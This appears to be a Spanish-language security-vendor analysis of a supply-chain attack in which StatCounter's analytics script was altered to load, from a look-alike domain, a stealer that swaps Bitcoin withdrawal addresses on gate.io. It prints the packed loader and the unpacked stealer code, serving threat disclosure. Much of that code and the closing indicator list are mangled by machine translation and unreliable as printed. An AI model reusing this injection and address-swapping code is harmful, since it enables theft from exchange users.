Ataque de cadena de suministro al intercambio de cryptomonedas gate.io
Una investigación reciente de ESET muestra hasta dónde pueden llegar los atacantes para robar bitcoins de los clientes de un cambio de moneda virtual específico.
[Actualizado el día 7 de noviembre] El pasado 6 de noviembre, StatCounter eliminó el script malicioso. Varias horas después, Gate.io dejó de utilizar el servicio de análisis StatCounter para prevenir futuras infecciones. Entonces, el incidente ahora está resuelto y ambos sitios se pueden navegar de manera segura.
El pasado 3 de noviembre, atacantes vulneraron la seguridad de StatCounter, una conocida plataforma de análisis web. Este servicio es utilizado por muchos webmasters para extraer datos estadísticos sobre las visitas que recibe un sitio; similar a lo que ofrece Google Analytics. Para hacer uso de la herramienta, los webmasters suelen añadir una etiqueta JavaScript externa mediando el cual incorporando un segmento de código de StatCounter - www.statcounter[.]com/counter/counter.js - en cada página web.
Según el sitio oficial, StatCounter es utilizado por más de dos millones de sitios y calcula estadísticas de más de 10 millones de páginas vistas por mes. Esta información está alineada con su posición en el ranking de Alexa, que está por encima de los 5.000. Como referencia, el sitio oficial de la distribución Debian Linux, debian.org, tiene una posición similar en el ranking de Alexa.
Los atacantes modificaron el script www.statcounter[.]com/counter/counter.js al agregarle una porción de código malicioso, que tal como se puede apreciar más abajo, está ubicado en el medio del script. Esto es inusual, porque los atacantes generalmente agregan código malicioso al principio o al final de un archivo legítimo. La inyección de código en medio de un script existente generalmente es difícil de detectar mediante una observación casual.
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--)r[e(c)] = k[c] || CE); k = [function(e) {
return r[e]}]; e = función() { devuelve '\w+' }; c = 1 }; mientras que (c--) si (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]); devuelve p }('3=""+2.4;5(3.6('7/8/9')>-1){a 0=2.b('d');0.e= 'f://ghi/cj';0.k('l','m');2.nop(0)}', 26, 26, 'ga||document|myselfloc|ubicación |if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dieciséis 17 18 |
evaluar(función(pag, a, C, k, mi, r) { mi = función(C) { devolver C.Encadenar(a) }; si (!''.reemplazar(/^/, Cadena)) { mientras (C--) r[e(c)] = k[c] || mi(C); k = [function(e) { return r[e] }]; mi = función() { devolver '\w+' }; C = 1 }; mientras (C--) si (k[c]) pag = pag.reemplazar(nuevo RegExp('\b' + mi(C) + '\b', 'gramo'), k[c]); devolver pag }('3=""+2.4;5(3.6('7/8/9')>-1){a 0=2.b('d');0.e='f:/ /ghi/cj';0.k('l','m');2.nop(0)}', 26, 26, 'ga||document|myselfloc|ubicación|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild '.dividir('|'), 0, {})); |
El script se empaqueta con el empaquetador Dean Edwards Java Script; probablemente el más popular para JavaScript. Sin embargo, puede ser desempaquetado de manera sencilla, dando como resultado el código script que ejecutará, como se puede apreciar más abajo.
mismoloc="" + documento.ubicación; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src="https://www.statconuter.com/c.php"; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
yo mismo = '' + documento.ubicación; si (yo mismo.índice de('mi cuenta/retirar/BTC') > -1) { variable Georgia = documento.crearElemento(guion); Georgia.origen = 'https://www.statconuter.com/c.php'; Georgia.establecer atributo('asincrónico', 'verdadero'); documento.documentElement.primer hijo.añadir Niño(Georgia); } |
Esta porción de código primero revisará si la URL contiene mi cuenta/retirar/BTC. De esta forma, podemos adivinar que el objetivo de los atacantes es dirigir una plataforma de Bitcoin. Si pasa la revisión, el script continúa y agrega un nuevo script en la página web e incorpora el código en https://www.statconuter[.]com/c.php.
Nótese que los atacantes registraron un dominio muy similar al sitio legítimo de StatCounter[.]com. Tan solo cambiaron el orden de dos cartas, las cuales son difíciles de notar al momento de revisar los registros por cualquier actividad inusual. Resulta interesante que, al revisar el DNS pasivo del dominio, notamos que este dominio ya fue suspendido en 2010 por uso abusivo.
Como se explicó anteriormente, el script se dirige a un identificador uniforme de recursos (URI, por sus siglas en inglés) específico: mi cuenta/retirar/BTC. Resulta que entre los distintos intercambios de criptomonedas disponibles al momento de escribir este texto, solo gate.io tiene una página válida con esta URI. Por lo tanto, este intercambio parece ser el principal objetivo de este ataque. Cabe señalar que este intercambio es muy popular, y que está clasificado en Alexa en la posición 26,251 y en la 8,308 en China.
Además, según coinmarketcap.com, por esta plataforma pasan todos los días varios millones de dólares, incluidos 1,6 millones de dólares solo en transacciones de Bitcoin. Con lo cual, podría resultar muy redituable para los atacantes robar criptomonedas a gran escala en esta plataforma.
El sitio web https://www.gate[.]io/myaccount/withdraw/BTC, presentado más abajo, se utiliza para transferir bitcoin desde la cuenta de gate.io hacia una dirección de Bitcoin externo.
Quizás no sea sorprendente, pero resulta que el payload de segunda fase, desde statconuter[.]com/c.php, está diseñado para robar Bitcoins. Con lo cual, tiene sentido la inyección del script en la página web del sitio para transferir bitcoins: gate.io. Este guión también está empaquetado con Dean Edwards. A continuación, mostramos la versión desempaquetada.
documento.formularios[0]['addr'].valor=""; documento.formularios[0]['amount'].valor=""; hacerEnviar1 = hacerEnviar; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#cantidad').val() > 10) { documento.formularios[0]['addr']['name'] = ''; var s = $(" "); s.attr('valor', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse ').innerText > 10) { documento.formularios[0]['addr']['name'] = ''; var s = $(" "); s.attr('valor', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $(" "); t.attr('valor', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dieciséis 17 18 19 20 21 22 23 24 25 26 27 |
documento.formularios[0]['addr'].valor = ''; documento.formularios[0]['amount'].valor = ''; hacerEnviar1 = hacerEnviar; hacerEnviar = función () { variable a = documento.getElementById('retirar_formulario'); si (ps('#cantidad').valor() > 10) { documento.formularios[0]['addr']['name'] = ''; variable s = ps(" "); s.atributo('valor', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); variable b = ps('#retirar_formulario'); b.adjuntar(s); a.entregar(); } demás si (documento.getElementById('puedo usar').textointerno > 10) { documento.formularios[0]['addr']['name'] = ''; variable s = ps(" "); s.atributo('valor', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); variable b = ps('#retirar_formulario'); b.adjuntar(s); documento.formularios[0]['amount']['name'] = ''; variable t = ps(" "); t.atributo('valor', Matemáticas.min(documento.getElementById('puedo usar').textointerno, documento.getElementById('límite de día').textointerno)); b.adjuntar(t); a.entregar(); } demás { hacerEnviar1(); } }; |
En la página genuina de gate.io, actualmente hay una función doSubmit, que se llama cuando el usuario hace clic en el botón Enviar, pero aquí los atacantes la han redefinido.
El script reemplaza automáticamente la dirección Bitcoin de destino con una dirección perteneciente a los atacantes, por ejemplo, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad. El servidor malicioso genera una nueva dirección de Bitcoin cada vez que un visitante carga el script statconuter[.]secuencia de comandos com/c.php. De esta manera, es difícil detectar qué candid de bitcoins fueron transferidos hacia los atacantes.
Dependiendo de si la víctima ingresa una cantidad superior a 10 BTC o no, se usará el script del atacante o se usará el límite de retiro diario que tiene la cuenta de la victima. En nuestra prueba, el límite de retiro está configurado por defecto hasta 100 BTC. Finalmente, el script malicioso envía el formulario que ejecuta la transferencia desde la cuenta de la víctima a la billetera del atacante.
Esta redirección probablemente pasa desapercibida para la víctima, ya que la sustitución se realiza luego de que hacen clic en el botón enviar. Con lo cual, sucede de manera muy rápida y probablemente ni siquiera sea desplegado.
A medida que se una nueva dirección de Bitcoin cada vez que se envía el script malicioso a la víctima, no tenemos la posibilidad de ver cuántos bitcoins han logrado obtener los atacantes. Por el momento, si revisamos la dirección que recibimos en nuestra máquina de prueba el saldo es 0 BTC.
Incluso por más que no sepamos cuántos bitcoins han sido robados durante este ataque, muestra cuánto pueden llegar los atacantes a atacar un sitio web específico, particularmente un Exchange de Cryptomonedas. Para lograr esto comprometieron el sitio web de un servicio de análisis, el cual es utilizado por más de dos millones de sitios, incluyendo varios sitios ligandos entitas gubernamentales, para robar bitcoins de clientes de una sola web para el intercambio de criptomonedas.
También muestra que incluso si su sitio web está actualizado y bien protegido, sigue siendo vulnerable al enlace más débil, que en este caso era una fuente externa. Este es otro recordatorio de que los códigos Java Script externos están bajo el control de terceros y que pueden modificarse en cualquier momento sin previo aviso.
Por nuestra parte notificamos tanto a StatCounter como a gate.io apenas descubrimos esta actividad maliciosa.
Por cualquier consulta o para enviar muestras relacionadas con el tema, contáctenos a través de la siguiente dirección de correo: amenazaintel@eset.com.
URL maliciosas
- contador de estadísticas[.]com/contador/contador.js
- contador de estadísticas[.]com/c.php
Deja una respuesta